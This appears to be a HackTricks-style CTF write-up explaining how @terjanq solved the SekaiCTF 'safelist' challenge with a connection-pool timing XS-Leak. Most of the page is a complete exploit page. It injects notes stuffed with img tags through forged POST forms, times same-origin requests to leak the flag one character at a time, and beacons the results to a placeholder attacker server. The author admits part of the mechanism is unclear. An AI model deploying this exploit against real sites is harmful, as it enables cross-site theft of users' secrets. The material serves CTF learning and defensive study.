Skip to content

Connection Pool by Destination Example โ€‹

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

In this exploit, @terjanq proposes yet another solution for the challenged mentioned in the following page:

Let's see how this exploit work:

  • The attacker will inject a note with as many <img tags loading /js/purify.js as possible (more than 6 to block the origin).
  • Then, the attacker will remove the note with index 1.
  • Then, the attacker will [make the bot access the page with the reminding note] and will send a request to victim.com/js/purify.js that he will time.
    • If the time is bigger, the injection was in the note left, if the time is lower, the flag was in there.

โ„น๏ธ

Tbh, reading the script I missed some part where the attacker makes the bot load the page to trigger the img tags, I don't see anything like that in the code

html
<html>
    <head>
        <script>
            const SITE_URL = 'https://safelist.ctf.sekai.team/';
            const PING_URL = 'https://myserver';
            function timeScript(){
                return new Promise(resolve => {
                    var x = document.createElement('script');
                    x.src = 'https://safelist.ctf.sekai.team/js/purify.js?' + Math.random();
                    var start = Date.now();
                    x.onerror = () => {
                        console.log(`Time: ${Date.now() - start}`); //Time request
                        resolve(Date.now() - start);
                        x.remove();
                    }
                    document.body.appendChild(x);
                });
            }

            add_note = async (note) => {
                let x = document.createElement('form')
                x.action = SITE_URL + "create"
                x.method = "POST"
                x.target = "xxx"

                let i = document.createElement("input");
                i.type = "text"
                i.name = "text"
                i.value = note
                x.appendChild(i)
                document.body.appendChild(x)
                x.submit()
            }
            
            remove_note = async (note_id) => {
                let x = document.createElement('form')
                x.action = SITE_URL+"remove"
                x.method = "POST"
                x.target = "_blank"

                let i = document.createElement("input");
                i.type = "text"
                i.name = "index"
                i.value = note_id
                x.appendChild(i)
                document.body.appendChild(x)
                x.submit()
            }
            
            const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));
            // }zyxwvutsrqponmlkjihgfedcba_
            const alphabet = 'zyxwvutsrqponmlkjihgfedcba_'
            var prefix = 'SEKAI{xsleakyay';
            const TIMEOUT = 500;
            async function checkLetter(letter){
                // Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js
                // Depending whether we found flag's letter it will either load the images or not.
                // With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char.
                const payload = `${prefix}${letter}` + Array.from(Array(78)).map((e,i)=>`<img/src=/js/purify.js?${i}>`).join('');
                await add_note(payload);
                await sleep(TIMEOUT);
                await timeScript();
                await remove_note(1); //Now, only the note with the flag or with the injection existsh
                await sleep(TIMEOUT);
                const time = await timeScript(); //Find out how much a request to the same origin takes
                navigator.sendBeacon(PING_URL, [letter,time]);
                if(time>100){
                    return 1;
                }
                return 0;
            }
            window.onload = async () => {
                navigator.sendBeacon(PING_URL, 'start');
                // doesnt work because we are removing flag after success.
                // while(1){
                    for(const letter of alphabet){
                        if(await checkLetter(letter)){
                            prefix += letter;
                            navigator.sendBeacon(PING_URL, prefix);
                            break;
                        }
                    }
                // }
            };            
            </script>            
    </head>
    <body>
    </body>
</html>
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!